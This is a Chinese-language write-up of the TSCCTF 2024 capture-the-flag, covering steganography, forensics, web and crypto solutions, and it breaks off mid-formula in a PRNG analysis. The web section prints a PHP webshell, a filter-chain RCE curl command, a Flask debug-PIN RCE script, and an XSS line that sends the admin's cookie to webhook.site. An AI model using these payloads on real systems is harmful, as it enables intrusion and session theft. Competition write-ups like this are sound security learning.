# TSCCTF 2024
###### tags: `CTF`
[toc]
:::success
- 名次: 1 / 165
第一次有拿到 CTF 前三 :eyes:

:::
## Welcome
### Welcome
```
Welcome to TSCCTF, do you carefully read the posts from TSC's Instagram or Facebook ?
https://www.facebook.com/profile.php?id=61552584062920 https://www.instagram.com/taiwan_security_club/
Author: 噗噗
```
翻 fb 可以找到以下三個貼文
[post 1](https://www.facebook.com/photo.php?fbid=122119884152086135&set=a.122119884200086135&type=3&ref=embed_post)

`TSC{F0R_TSCCTF_`
[post2](https://www.facebook.com/permalink.php?story_fbid=122122368908086135&id=61552584062920&ref=embed_post)

`F0LL0VV3RS_f0rrn3d_`
[post 3](https://www.facebook.com/photo.php?fbid=122133228080086135&set=a.122119884200086135&type=3&ref=embed_post)

`6y_PU6L1C1TY_T34M}`
組合起來變成 flag
`TSC{F0R_TSCCTF_F0LL0VV3RS_f0rrn3d_6y_PU6L1C1TY_T34M}`
### Welcome Revenge
```
Can you find the hidden flag in our Discord server?
Note: The flag has nothing to do with the ticket system.
Author: Ching367436
```
flag 在 DC 上面,翻找一下發現有一個神祕的貼圖

照著打出來就是 flag,不過有點難看懂,測了好幾次加上用 ticket 才成功

`TSC{7h3_DC_flag!}`
### Survey
```
Author: Ching367436, ShallowFeather, sunick2009, CCcat, Vincent55
https://forms.gle/p1jwm62dY4k3sKBH6
```
就填問卷

`TSC{Y0u_w3r3_gr347!}`
## Misc
### 🟥 🟩 🟦
```
⬜ = 🟥 + 🟩 + 🟦
flag-rgb.png
Author: IID
```
圖片如下,可以看到他似乎是一個 QR code,但是有填奇怪的顏色

而根據題目說明可以猜測跟 RGB 的 channel 有關,因此我使用了 [stegsolve](https://wiki.bi0s.in/steganography/stegsolve/) 來試試看
分別檢視 `Red Plane 7`, `Green Plane 7`, `Blue Plane 7` 這三個 channel,可以看到會有三個不同的 QR code



這邊我直接用手機的 `Mixerbox` 掃描器來掃,可以讀到以下三個訊息
`T{5_e3V15r63o_O0_ErNnCV11M45RW7`
`SR34_D13_3L_k0_ma_3_D0444a1_3h3`
`C05Rr_07A_UY0Np5R934_n1r_j1A_1}`
可以看到 flag 應該是從上而下從左而右的順序來讀,拼湊一下就能拿到 flag
`TSC{R0535_4Re_r3D_V101375_Ar3_6LU3_Yok0_0NO_p0m5_aRE_9r33N_4nD_C0nV4114r14_Maj4115_AR3_Wh173}`
### There Is Nothing Here (1)
```
What a beautiful view.
beautiful_view.jpg
Author: SUSU
```
圖片如下

這邊我用線上工具 [aperisolve](https://www.aperisolve.com/) 來分析,可以看到在一些處理下看到好像是 QR code 的東西,但是被切掉了

而在經過搜尋後,我找到了一篇文章 [Hiding Information by Manipulating an Image's Height](https://cyberhacktics.com/hiding-information-by-changing-an-images-height/),他解釋如何去把 jpg 的 height 和 width 做更改,只要找到 `FF C0` 這個 identifier 的後面幾個 byte 即可,如下圖所示

而在這張圖片中就會對應到 0xdf ~ 0xe2 這邊

因此我們可以嘗試去修改他的 height,這邊我調成跟 width 一樣是 0x0400,變成下面這樣

更改之後的圖片如下,QR code 出來了


拿手機掃一下就能拿到 flag
`TSC{Wh47_yoU_53e_IS_noT_Wh@t_YoU_9Et}`
### There Is Nothing Here (2)
```
Are you a SPY?
Find the question FIRST! Brute Force Table are included.
Sorry for the inconvenience. The file has updated at 14:20. Please redownload the files.
Author: SUSU
file: there-is-nothing-here-2.zip
```
檔案解開之後是 `important_data.vhdx`,是一個硬碟檔案
我首先使用 [FTK Imager](https://www.exterro.com/ftk-imager) 來分析,可以看到在 `C:\` 下面有一個 `card.jpg`,裡面藏有一個 zip 檔案 `ntds.zip`

將 `ntds.zip` 取出解開之後,可以看到裡面有 `Active Directory` 和 `registry` 這兩個資料夾,此外還有 `fasttrack.txt` 這個看起來是字典檔的東西
而在 `Active Driectory` 資料夾中有一個 `ntds.dit`,這個檔案是 Windows 的 user database,而搭配前面找到的字典檔我們可以嘗試來進行爆破,這邊我參考了 [Extracting and Cracking NTDS.dit](https://bond-o.medium.com/extracting-and-cracking-ntds-dit-2b266214f277) 這篇文章
首先我使用了 `impacket` 的 `secretsdump` 來將 `ntds.dit` 轉換成 hash 的形式並儲存成 `ntlm-extract` 檔案,而這個指令需要 `SYSTEM` 的 registry 檔案,他在 `registry` 資料夾中
`impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract`
有了 hash 檔案,我們可以使用 `hashcat` 來進行爆破,並儲存結果到 `cracked.out` 檔案中
`hashcat -m 1000 -w 3 -a 0 -p : --session=all --username -o cracked.out --outfile-format=3 ntlm-extract.ntds ./fasttrack.txt`

可以看到他一共爆出了 2 個 hash,其中一個是空的,另一個是 Administrator 的密碼 `welcome`
不過爆完密碼之後我就沒有頭緒了,直到有了第一個提示
```
Unlock Hint for 0 points
This question shared same logic with the first question "There Is Nothing Here (1)".
Did the spy try to hide anything in the file system?
The first part of the flag format might be misleading. My bad :(
You may answered the target domain's Name for the first section.
```
可以看到他說這題和上一題有類似的邏輯,因此可以想像得到是要把 `card.jpg` 的寬和高做更改,而在這個圖片要更改的位置是 0xff ~ 0x102 這邊

把他的高改成跟寬一樣是 0x01cc 之後,會拿到下面的圖片

我們找到要回答的問題了,flag 會需要 AD 的 domain name 以及 Administrator 的密碼,而密碼的部分我們已經有了,因此接下來要找 domain name
根據 [JSI Tip 1657. Where is the domain name in the registry?](https://www.itprotoday.com/windows-78/jsi-tip-1657-where-domain-name-registry) 這篇文章,我們可以知道 AD 的 domain name 在 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain` 的路徑中
而這邊我使用 [Registry Explorer](https://www.sans.org/tools/registry-explorer/) 工具來看 registry,而在 `SYSTEM` 的 `ControlSet001/Services/Tcpip/Parameters/Domain` 路徑下可以找到 domain name 是 `tsc_ctf_AD.local`

組合前面的 password 之後就能拿到 flag
`TSC{tsc_ctf_AD.local_welcome}`
### TL;DL
```
Warning: High volume. Check your sound level setting before playing the audio.
Author: IID
file: flag-tldl.wav
```
題目給了一個音檔,直接丟到 `audacity` 中分析
我一開始是察看一下頻譜圖的部分,看到好像是摩斯密碼的東西,但解出來是一個沒意義的字串 QQ

後來在幾個釋出的提示之後,我有了新的想法
```
Unlock Hint for 0 points
len(flag) > 20
Unlock Hint for 0 points
Unlock Hint for 0 points
How many channels does the audio file have?
Unlock Hint for 0 points
Are you familiar with the tool used to display signal voltages?
Unlock Hint for 0 points
hint-tldl.png
```
`hint-tldl.png` 如下

從以上這些提示可以猜測到可能跟波形的振幅有關,不過初步看 `Audacity` 的波形圖是一片空白,因此我們需要做一些處理
在 `Audacity` 的效果選單,選擇做正規化的處理之後,選擇刻度是 `dB`,就可以看到以下的波形圖,看得出一些東西了,且左聲道和右聲道的波形圖是不一樣的

而在提示中還可以看到有一張 x, y 的平面圖,且我們知道這個音檔的左右聲道都有不同資料,因此可以猜到左右聲道分別代表 x, y 的數值
因此在參考 [How do I get the frequency and amplitude of audio that's being recorded in Python 3.x?](https://stackoverflow.com/questions/51431859/how-do-i-get-the-frequency-and-amplitude-of-audio-thats-being-recorded-in-pytho) 及 [Error: unknown format: 3 (When trying to read audio wavfile)](https://stackoverflow.com/questions/64539762/error-unknown-format-3-when-trying-to-read-audio-wavfile) 這兩篇資料後,我寫了一個腳本來畫圖出來
```python
import soundfile as sf
import numpy as np
import matplotlib.pyplot as plt
data, samplerate = sf.read('tldl.wav', dtype='float32')
# data is [[left, right], [left, right], ...]
# left is x and right is y
# plot
plt.scatter(data[:,0], data[:,1], s=0.1)
plt.savefig('tldl.png')
```
出來的圖片如下,可以看到 flag 在裡面

`TSC{V3ry_10Ud_d1R3c7_CUrR3N7_Bu7_1n_32-b17_f1047}`
拿到 first blood 了,開心

## Web
### Palitan ng pera
```
easy
It's a currency exchange website.
Author: Vincent55
Instance Info
file: exchange.zip
```
題目有給原始碼,那就先來看原始碼的部分,以下是 `index.php` 的關鍵邏輯
```php
<?php
error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE);
include("currency.php");
$resultLink = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$region = $_POST["region"];
$amount = $_POST["amount"];
$isoName = $countryData[$region]["ISO"];
$rate = $countryData[$region]["toTWD"];
$convertedAmount = $amount * $rate ?: $amount;
$htmlContent = "<html><body>";
$htmlContent .= "<h1> Exchange result </h1>";
$htmlContent .= "<p>{$amount} TWD = {$convertedAmount} {$isoName}</p>";
$htmlContent .= "<a href='/'>Back to Home</a></body></html>";
$filePath = "upload/" . md5(uniqid()) . "." . $isoName;
file_put_contents($filePath, $htmlContent);
$resultLink = "<a href='" . $filePath . "'> 👁️ exchange result</a>";
}
?>
```
可以看到他會根據 `$_POST["region"]` 來決定要用哪個國家的匯率,而 `$_POST["amount"]` 則是要換多少錢,而這兩個都是使用者可以控制的
另外可以看到當作完相關匯率計算之後,會寫一個 html 的內容到一個檔案中,檔案名稱是亂數,不過附檔名的部分是根據 `$_POST["region"]` 查詢 `countryData` 後的結果,而這個 `countryData` 是在 `currency.php` 中
而基本上這個題目就只有這個功能,因此可以想像得到是要用 LFI 做 RCE,雖然檔案內容我們可以用 `$_POST["amount"]` 來控制成 PHP webshell 的東西,但是附檔名的部份我們還是需要控制成 `.php` 才能夠執行
不過實際去 `currency.php` 做一下搜尋之後,可以看到 `Philippines` 的 ISO name 恰巧就是 `PHP`,因此只要我們選擇國家是 `Philippines`,那麼附檔名就會是 `.php`,這樣我們只要在檔案中寫入 PHP webshell 就可以 RCE 了

因此我們可以使用以下的輸入
```
region: Philippines
amount: <?php system($_GET['cmd']); ?>
```
在 `cmd` 參數的部分就可以執行指令做到 RCE

`TSC{Y0u_4r3_7h3_curr3ncy_ISO_c0d3_3xp3r7}`
### [教學題] 極之番『漩渦』
```
Are you familiar with these old friends?
Author: Vincent55
http://172.31.210.1:33002
```
題目沒有給 source code,所以只好直接去看網站

可以看到這題有四個階段,此外他有給 dockerfile 不過基本上就是說 flag 在檔案系統中,用處不大
第一個階段的 code 如下
```php
<?php
include('config.php');
echo '<h1>👻 Stage 1 / 4</h1>';
$A = $_GET['A'];
$B = $_GET['B'];
highlight_file(__FILE__);
echo '<hr>';
if (isset($A) && isset($B))
if ($A != $B)
if (strcmp($A, $B) == 0)
if (md5($A) === md5($B))
echo "<a href=$stage2>Go to stage2</a>";
else die('ERROR: MD5(A) != MD5(B)');
else die('ERROR: strcmp(A, B) != 0');
else die('ERROR: A == B');
else die('ERROR: A, B should be given');
```
這是一個經典的 PHP md5 比較題,可以參考 [PHP MD5 Bypass Trick](https://qftm.github.io/2020/08/23/php-md5-bypass-audit/) 這篇文章,第一個 payload 我使用的是裡面第 4 個的 null 繞過方法來繞
payload: `/stage1.php?A[]=1&B[]=2`
第二個階段的 code 如下
```php
<?php
include('config.php');
echo '<h1>👻 Stage 2 / 4</h1>';
$A = $_GET['A'];
$B = $_GET['B'];
highlight_file(__FILE__);
echo '<hr>';
if (isset($A) && isset($B))
if ($A !== $B){
$is_same = md5($A) == 0 and md5($B) === 0;
if ($is_same)
echo (md5($B) ? "QQ1" : md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2");
else die('ERROR: $is_same is false');
}
else die('ERROR: A, B should be given');
```
這題我在嘗試的過程中發現他出壞了,直接亂給 A 和 B 都能過,只要不要一樣就好
payload: `/stage2_212ad0bdc4777028af057616450f6654.php?A=1&B=2`
第三個階段的 code 如下
```php
<?php
include('config.php');
echo '<h1>👻 Stage 3 / 4</h1>';
$page = $_GET['page'];
highlight_file(__FILE__);
echo '<hr>';
if (isset($page)) {
$path = strtolower($_GET['page']);
// filter \ _ /
if (preg_match("/\\_|\//", $path)) {
echo "<p>bad hecker detect! </p>";
}else{
$path = str_replace("..\\", "../", $path);
$path = str_replace("..", ".", $path);
echo $path;
echo '<hr>';
echo file_get_contents("./page/".$path);
}
} else die('ERROR: page should be given');
```
可以看到這個階段需要一個 `page` 參數,而他會將這個參數帶進 `file_get_contents` 中,因此可以想像得到是要做 LFI,不過他有做一些過濾我們需要繞過
在他的過濾規則中,首先會將 `page` 轉成小寫,之後會用 regex 檢查是否有 `\` 或 `_` 或 `/` 的字元,而後還會將 `..\` 換成 `../` 之後再將 `..` 換成 `.`,最後才會帶進 `file_get_contents` 中
而首先可以看到他的 regex 寫壞了,他會偵測的是 `\_` 或 `/` 的 pattern,因此我們還是可以使用 `..\` 來躲掉偵測,而後面它會自動地幫我們再轉換成 `../`
而繼續看下去,可以看到他會將 `..` 換成 `.`,因此 `../` 就會變成 `./`,path traversal 失敗,不過我們可以在前面加上 `.` 來繞過,這樣在轉換後反而會從 `...\` 變成 `.../`,之後就會變成 `../` 了
因此我們可以嘗試讀裡面有 include 的 `config.php`,payload 如下
paylaod: `/stage3_099b3b060154898840f0ebdfb46ec78f.php?page=...\config.php`

我們找到了 stage 4 的路徑
以下是第四個階段的 code
```php
<?php
echo '<h1>👻 Stage 4 / 4</h1>';
highlight_file(__FILE__);
echo '<hr>';
extract($_POST);
if (isset($👀))
include($👀);
else die('ERROR: 👀 should be given');
```
可以看到他會讀取 `$_POST["👀"]` 並 include 進來,沒了,而這邊也是最後的階段,可想而知是要做 RCE 讀 flag 檔案
這邊我使用的是 php filter chain RCE 的方法,使用的工具是 [PHP filter chain generator](https://github.com/synacktiv/php_filter_chain_generator)
首先先用這個工具執行以下的指令,產生 filter chain payload,`<cmd` 部分是要執行的指令
`python php_filter_chain_generator.py --chain "<?php system('<cmd>') ?>"`
接著使用 curl 送封包過去,將以下指令的 `<chain>` 部分換成剛剛產生的 payload 即可
`curl -X POST -v http://172.31.210.1:33002/stage4_b182g38e7db23o8eo8qwdehb23asd311.php --data "👀=<chain>"`
執行之後就能成功執行指令,做到 RCE

`TSC{y0u_4r3_my_0ld_p4l}`
### Normal Website
```
This is just my normal website.
Dockerfile is in /app/Dockerfile
Author: Vincent55
Instance Info
```
這題沒有給 source code,因此只好直接去看網站

基本上只有一個一直跳動的迴紋針,沒有其他的了
而去看一下迴紋針的路徑 `/img/aGludC5qcGc%3D`,可以看到後面似乎有一串看起來像是 base64 的東西,解碼之後發現是叫做 `hint.jpg`,因此可以推測這個地方有可能有讀檔的漏洞,只要我們將路徑包成 base64 之後給他即可,這邊我嘗試讀取 `/app/Dockerfile`,payload 如下
`/img/L2FwcC9Eb2NrZXJmaWxl`
使用 curl 去讀取之後,可以發現我們成功讀到了 Dockerfile,代表這邊確實有 LFI 漏洞,以下是 dockerfile 的內容
```dockerfile
FROM python:3.10-alpine
WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY app.py .
COPY Dockerfile .
COPY templates/index.html ./templates/
COPY static/hint.jpg ./static/
ARG FLAG
RUN echo $FLAG > /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1`
USER daemon
ENTRYPOINT ["flask", "run", "--host=0.0.0.0", "--port=5050", "--debug"]
```
可以看到 flag 是在檔案系統中,此外也可以看到 flask 是跑在 debug mode 下,且我們有任意讀檔的漏洞,因此我們可以嘗試用 flask pin RCE 的方式去執行指令
這邊我參考了 [Werkzeug / Flask Debug](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#pin-protected-path-traversal) 及 [flask计算pin码](https://blog.csdn.net/weixin_63231007/article/details/131659892) 的資料,相關腳本也是從裡面來改的
根據裡面的說明,我們需要找到以下的資訊
```
username
modname
absolute path of app.py
MAC address
machine id
```
在 public bit 的部分,`username` 的部分我們可以從 dockerfile 知道是 `daemon`,而 `modname` 一般來說是 `flask.app`,因此我們只需要找到 `app.py` 的絕對路徑即可,這邊我是直接在本地跑 dockerfile 去找,路徑為 `/usr/local/lib/python3.10/site-packages/flask/app.py`
而在 private bit 的部分,`MAC address` 可以從 `/sys/class/net/eth0/address` 中找到,而 `machine id` 根據參考資料要讀取 `/proc/sys/kernel/random/boot_id` 及 `/proc/self/cgroup` 的東西並進行串接,以下是各部分的資料
`/sys/class/net/eth0/address`
`curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3N5cy9jbGFzcy9uZXQvZXRoMC9hZGRyZXNz`

mac address 是 `02:42:0a:00:01:36`
`/proc/sys/kernel/random/boot_id`
`curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3Byb2Mvc3lzL2tlcm5lbC9yYW5kb20vYm9vdF9pZA==`

boot id 是 `96f33aa0-36cf-48a8-8ced-c2e3aa85b7ae` (這邊不小心切到了 sorry)
`/proc/self/cgroup`
`curl -v http://68396759-80c7-431e-a09a-6a7abd2c3c08.challenge.tscctf.com/img/L3Byb2Mvc2VsZi9jZ3JvdXA=`

而 cgroup 的部分是空的,因此應該可以不用做串接 :thinking_face:
綜合以上資訊,計算的腳本如下
```python
import hashlib
from itertools import chain
probably_public_bits = [
'daemon',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
str(int('02:42:0a:00:01:36'.replace(':',''), 16)),# /sys/class/net/eth0/address
'96f33aa0-36cf-48a8-8ced-c2e3aa85b7ae',# /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```
算出來的 pin 是 `192-946-691`

接著只要訪問 `/console` 路徑輸入 pin,我們就能自由的執行 python 程式了,而也就可以使用 `os.popen(<cmd>).read()` 來執行指令讀取結果,也就能做到 RCE 了

`TSC{ch3ck_d3bu6_m0d3_15_0ff_b3f0r3_0nl1n3}`
### Card Generator
```
The "Card Generator" is a software application designed to create various types of digital cards, such as greeting cards, business cards, invitation cards, etc. The application should allow users to customize their cards extensively, offering a range of templates, graphics, text options, and other decorative elements.
Author: D
http://172.31.210.1:34567
```
題目沒有給 source code,因此只好直接去看網站

網站點進去後看到的是一個登入畫面,這邊我有試過 sqli 沒辦法打,只好乖乖的註冊然後登入

登入後可以看到是一個名片的生成網站,我們可以在裡面改 username 及 description,並且可以將名片送給 admin 看,可以想像得到這是前端類型的題目,因此我猜測可能是用 xss 來打
這邊我嘗試了一下發現在 username 的部分有 xss 漏洞,更改成 `<script>alert(1);</script>` 即可彈出 xss 訊息

而從 cookie 中可以看到 session 沒有上 http only,因此可以直接偷出來

這邊我使用 `fetch` 來傳送分包出來,並使用 [webhook](https://webhook.site/) 來接收
`<script>fetch("https://webhook.site/023b8760-bba9-4b3c-a291-20db4f1454d4/?"+document.cookie);</script>`

```
eyJlbWFpbCI6ImFkbTFuQGFkbWluLmNvbSIsImxpbmsiOiIvamFhSFhEMWRORWlnWU8ySjhPNWYwMFVqQTNha1o1SVoiLCJ1c2VybmFtZSI6ImFkbWluIn0.ZapqzA.SNGWGbXKN6EFDZLD5_-q8U5k4Eg
```
可以看到我們確實偷到了 admin 的 session,登入試試看

裡面沒有東西 QQ

拿 session 去解碼一下,可以看到裡面有奇怪的 `link` 變數

`/jaaHXD1dNEigYO2J8O5f00UjA3akZ5IZ`
訪問後就能拿到 flag

`TSC{Wh4t$_gO1n&_0n_w17h_Fl@5k_s3s51on?}`
### My First Shopping Cart
```
Help Edward to find the hidden product ...
Instance Info
```
這題我使用 unintended 的解法,有點小通靈
題目沒有給 source code,因此只好直接去看網站

可以看到這是一個購物網站,有四個商品可以買,在正常情況下假設我要購買相機的話,就會變成下面這樣可以加到購物車,但是看不到哪裡有下訂單的按鈕,可能沒有這功能

而我們接下來可以看一下他是如何送資料的,在 HTML 中可以看到他的封包有 3 個參數 `action`, `code` 及 `quantity`,商品名稱應該是 `code` 那邊

而這題我有嘗試過一些基本的 SQLi,但是看不出效果,因此我只好找其他方法
這題我後來使用的是 `IDOR` 的方法,我猜測可能有一個商品名稱叫做 `flag`,而我把 `code` 改成 `flag` 之後,就成功拿到 flag 了

`FLAG{Th3_secret_0f_wh3r3_5tatement}`
## Crypto
### CCcollision
```
nc 172.31.200.2 40004
Author: CCcat
file: hash.py
```
以下是題目
```python
from hashlib import md5
from string import ascii_lowercase, digits
from random import choice
from secret import FLAG
def get_random_string(length):
return "".join([choice(ascii_lowercase + digits) for _ in range(length)])
prefix = get_random_string(5)
hashed = md5(get_random_string(30).encode()).hexdigest()
print("here is your prefix: " + prefix)
print("your hash result must end with: " + hashed[-6:])
user_input = input("Enter the string that you want to hash: ")
user_hash = md5(user_input.encode()).hexdigest()
if user_input[:5] == prefix and user_hash[-6:] == hashed[-6:]:
print(FLAG)
```
可以看到題目會給我們一個 `prefix` 和 `hashed`,我們要找到一個字串使得開頭是 `prefix` 且 hash 過後是的結尾是 `hashed`
因此我們可以嘗試直接從這個 prefix 開始往後添加字串,直到找到一組能滿足條件的字串為止,以下是我的腳本,裡面我使用的是 `itertools` 的 `product` 函式搭配迴圈來生成有 1, 2, ... 個字元長的 postfix 進行串接
```python
from pwn import *
from string import ascii_lowercase, digits
from itertools import product
from tqdm import trange
from hashlib import md5
context.log_level = "debug"
conn = remote("172.31.200.2", 40004)
# conn = process(["python", "hash.py"])
conn.recvuntil(b"prefix: ")
prefix = conn.recvline(keepends=False)
conn.recvuntil(b"with: ")
ending = conn.recvline(keepends=False).decode()
wl = ascii_lowercase + digits
if (md5(prefix).hexdigest()[-6:] != ending):
found = False
for i in trange(1,30):
for choice in product(wl, repeat=i):
if (md5(prefix + ''.join(choice).encode()).hexdigest()[-6:] == ending):
found = True
prefix += ''.join(choice).encode()
break
if(found):
break
print(f"{prefix=} hash: {md5(prefix).hexdigest()}")
conn.sendlineafter(b"hash: ", prefix)
print(conn.recvline())
```
執行之後就能算出一個符合的字串,拿到 flag

`TSC{2a92efd3d9886caa0bc437f236b5b695c54f43dc9bdb7eec0a9af88f1d1e0bee}`
### Encode not Encrypt
```
nc 172.31.200.2 42816
Author: CCcat
file: encode.py
```
以下是題目
```python
from random import choice, randint
from string import ascii_uppercase
from secret import FLAG
words = open("wordlist.txt").read().splitlines()
selected = [choice(words) for _ in range(100)]
assert all(word in words for word in selected)
ans = " ".join(selected)
def a(s):
return "".join(hex(ord(c))[2:] for c in s)
b_chars = 'zyxwvutsrqponmlkjihgfedcba'
def b(s):
result = ""
for c in s:
binary = f'{ord(c):08b}'
front, back = binary[:4], binary[4:]
result += b_chars[int(front, 2)] + b_chars[int(back, 2)]
return result
c_chars = '?#%='
def c(s):
result = ""
for c in s:
binary = f'{ord(c):08b}'
for i in range(0, 8, 2):
result += c_chars[int(binary[i:i+2], 2)]
return result
def d(s):
return "".join(oct(ord(c))[2:] for c in s)
func = {0: a, 1: b, 2: c, 3: d}
encodeds = []
hint = ""
for word in selected:
num = randint(0, 3)
encodeds.append(func[num](word))
for bit in f'{num:02b}':
ch = choice(ascii_uppercase)
hint += ch if bit == '1' else ch.lower()
print(" ".join(encodeds))
print(hint)
user_input = input("Enter the answer: ")
if user_input == ans:
print(FLAG)
```
可以看到他會生成一個 100 字詞長的隨機字串,並對於每個字詞會有 4 種不同的編碼方式,編碼方式是隨機選的,而最後會將編碼後的字串印出之後再印出一個 hint,最後問使用者這 100 個字詞,符合的話就會給我們 flag
從 hint 的算法可以得知他會對每個字詞隨機取兩個大寫字母,並根據隨機字串該位置的字詞編碼方式決定是調整成大小或是小寫,因此我們可以透過 hint 的大小寫來得知隨機字串的每個字詞的編碼方式,進一步我們可以再根據這些編碼方式逆回來成原本的字詞,以下說明每種編碼方式
編碼方式 `a` 會將字詞的每個字元轉換成 hex,因此逆向方式可以使用 `bytes.fromhex` 來解回來
編碼方式 `b` 會將字詞的每個字元先轉換成 binary,並用前 4 bit 與後 4 bit 的值去存取 `b_chars`,因此逆向方式可以使用 `b_chars.index` 去還原回前 4 bit 與後 4 bit 的值之後,做 shift 和 or 運算計算 `(front << 4) | back` 即可還原回來該字元,所有字元逆回來之後即可還原整個字串
編碼方式 `c` 和 `b` 類似,只不過是變成切成 4 個 2 bit 的資料,和上面一樣先去做 `c_chars.index` 之後用 `(front1 << 6) | (front2 << 4) | (back1 << 2) | back2` 即可還原回來該字元,而後即可還原整個字串
編碼方式 `d` 與 `a` 很類似,只不過是會轉換成 oct,而 oct 有意點比較煩的地方是在可視字元的情況中轉換後可能會是 2 或 3 個字,不過我們可以從第一個字元是不是 1 來判斷是否是 3 個字,而後根據長度切割並用 `int(s[i:i+2], 8)` 或 `int(s[i:i+3], 8)` 來還原回來該字元,而後即可還原整個字串
因此我們有了轉換編碼的函式之後,可以整合成以下的腳本
```python
from Crypto.Util.number import *
from pwn import *
def a_dec(s: str) -> str:
return bytes.fromhex(s).decode('utf-8')
b_chars = 'zyxwvutsrqponmlkjihgfedcba'
def b_dec(s: str) -> str:
result = ""
for i in range(0, len(s), 2):
front = b_chars.index(s[i])
back = b_chars.index(s[i+1])
result += chr((front << 4) | back)
return result
c_chars = '?#%='
def c_dec(s: str) -> str:
result = ""
for i in range(0, len(s), 4):
front1 = c_chars.index(s[i])
front2 = c_chars.index(s[i+1])
back1 = c_chars.index(s[i+2])
back2 = c_chars.index(s[i+3])
result += chr((front1 << 6) | (front2 << 4) | (back1 << 2) | back2)
return result
def d_dec(s: str) -> str:
result = ""
i = 0
while(i < len(s)):
if s[i] != '1':
# 2
result += chr(int(s[i:i+2], 8))
i += 2
else:
# 3
result += chr(int(s[i:i+3], 8))
i += 3
return result
conn = remote('172.31.200.2', 42816)
enc = conn.recvline(keepends=False).decode().split()
hint = conn.recvline(keepends=False).decode()
func = {0: a_dec, 1: b_dec, 2: c_dec, 3: d_dec}
txt = []
for i in range(0, len(hint), 2):
bit_0 = 1 if hint[i].isupper() else 0
bit_1 = 1 if hint[i+1].isupper() else 0
txt.append(func[(bit_0 << 1) | bit_1](enc[i//2]).encode())
conn.sendline(b" ".join(txt))
print(conn.recvline())
```
執行成功,取得 flag

`TSC{f92f8ee588f3f4ff5b2cf5cdefd94bbc6e833881bedfd5cc0ba5f54b51382a94}`
### baby PRNG
```
The flag format is TSCCTF{.+}.
Author: Ching367436
file: chal.py
```
題目原始碼如下
```python
from secret import FLAG
from os import urandom
def h(a, m):
return (-a*a-m*m+0x6861616368616d61)&1
class H:
def __init__(self, a, ac) -> None:
self.a = a
self.ac = ac
def ha(self):
m = sum([h(self.ac[i], self.a[i]) for i in range(len(self.a))])&1
a = self.ac[0]
self.ac = self.ac[1:] + [m]
return a
flag = [int(i) for i in ''.join([bin(ord(i))[2:].zfill(8) for i in FLAG])]
a = [0, 2, 17, 19, 23, 37, 41, 53]
ch = H(a, list(map(int, f'{int.from_bytes(urandom(8), "big"):064b}')))
a = [ch.ha() for _ in range(len(flag)+52)]
for i in range(len(flag)):
a[i] ^= flag[i]
print(''.join([str(m) for m in a]))
# The output is ... (ignore)
```
可以看到這是一個改過的 LFSR,在計算新的 bit 的部分使用了 `h` 這個函式,裡面會帶入 `a` 和 `m` 兩個參數,也就是 `ac[i]` 及 `self.a[i]` 的部分
而我們知道由於 LFSR 是因為是線性的,因此可以轉換成線性代數的矩陣來做 modeling,而雖然這邊的 `h` 函數看起來不是線性的,初步看起來好像不能用線性代數的方式來解,但是我們已經可以事先知道 `self.a` 也就是 `m` 的值,此外在 `GF(2)` 下 `a` 只會是 0 或 1,做平方沒有影響,因此這個函數仍然可以視為是線性的,我們可以嘗試進行 modeling
首先由於這個式子的 `h` 函式並不是直接是 $y = a \times x$ 的關係 ($x$ 是輸入),而算是 $y = a \times x + b$,因此我們無法像是一般破解 LFSR 那樣直接 model 成 $x_2 = A * x_1$ 那樣,不過我們可以將它建模成 $x_2 = A * x_1 + b$ 的方式,這邊的 $A$ 是一個 64*64 的方正矩陣,而 $b$ 是一個 64 維的向量,接下來我們看如何來產生 $A$ 和 $b$
首先在 $A$ 的部分,由於這題的 LFSR 也是一直往前位移的方式,因此他的上面 63 * 64 的矩陣與一般的 model 方式相同,也就是下面這樣,最後一列待填
$$
\begin{bmatrix}
0 & 1 & 0 & \cdots & 0 \\
0 & 0 & 1 & \cdots & 0 \\
\vdots & \vdots & \vdots & \ddots & \vdots \\
0 & 0 & 0 & \cdots & 1 \\
待填
\end{bmatrix}
$$
而在更新 bit 的部分可以先來看一下他的式子,他的式子如下
$$
\begin{aligned}
b_{new} &= \sum\limits_{i=0}^7 (-b_i^2 - m_i^2 + 0x6861616368616d61) \\
&= \sum\limits_{i=0}^7 (-b_i^2) + \sum\limits_{i=0}^7 (- m_i^2 + 0x6861616368616d61)
\end{aligned}
$$
而如同前面所說的 $b_i^2 = b_i$,且由於在 GF(2) 下 $- b_i = b_i$,因此上面的式子可以再轉換成下面這樣
$b_{new} = \sum\limits_{i=0}^7 b_i + \sum\limits_{i=0}^7 (- m_i^2 + 0x6861616368616d61)$
因為後面項與 bit 狀態無關,因此在 $A$ 的部分只要考慮前面項即可,也就是說在 $A$ 矩陣的最後一列會是 0 ~ 7 為 1 其他為 0,如下
$$
\begin{bmatrix}
0 & 1 & 0 & \cdots & 0 & 0 & \cdots & 0 \\
0 & 0 & 1 & \cdots & 0 & 0 & \cdots & 0 \\
